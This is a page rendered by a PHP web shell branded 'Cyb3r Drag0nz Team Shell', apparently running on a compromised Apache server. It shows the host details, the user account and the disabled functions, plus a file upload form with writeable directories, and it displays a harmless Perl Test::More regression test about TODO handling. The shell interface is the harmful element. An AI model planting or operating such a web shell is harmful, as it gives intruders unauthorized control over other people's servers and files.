Cyb3r Drag0nz Team Shell
Cyb3rDrag0nz


Server : Apache
System : Linux wealthytechsolutions.wealthytechsolutions.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : raybondt ( 1003)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/perl-Test-Simple/t/regression/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Test-Simple/t/regression/812-todo.t
use strict;
use warnings;

use Test2::API qw/intercept/;
use Test::More;

my @values = (
    0,                # false but defined -> inconsistent
    0.0,              # false but defined -> inconsistent
    "0.0",            # true -> TODO
    "this is why",    # as expected
);

for my $value (@values) {
    local $TODO = $value;
    my $x = defined($value) ? "\"$value\"" : 'UNDEF';
    fail "Testing: $x";
}

my $e = intercept {
    local $TODO = "";
    fail "Testing: '\"\"'";
};

ok(!$e->[0]->effective_pass, "Test was not TODO when set to \"\"");
like($e->[1]->message, qr/Failed test '/, "Did not add TODO to the diagnostics");

done_testing;

Cyb3r Drag0nz Team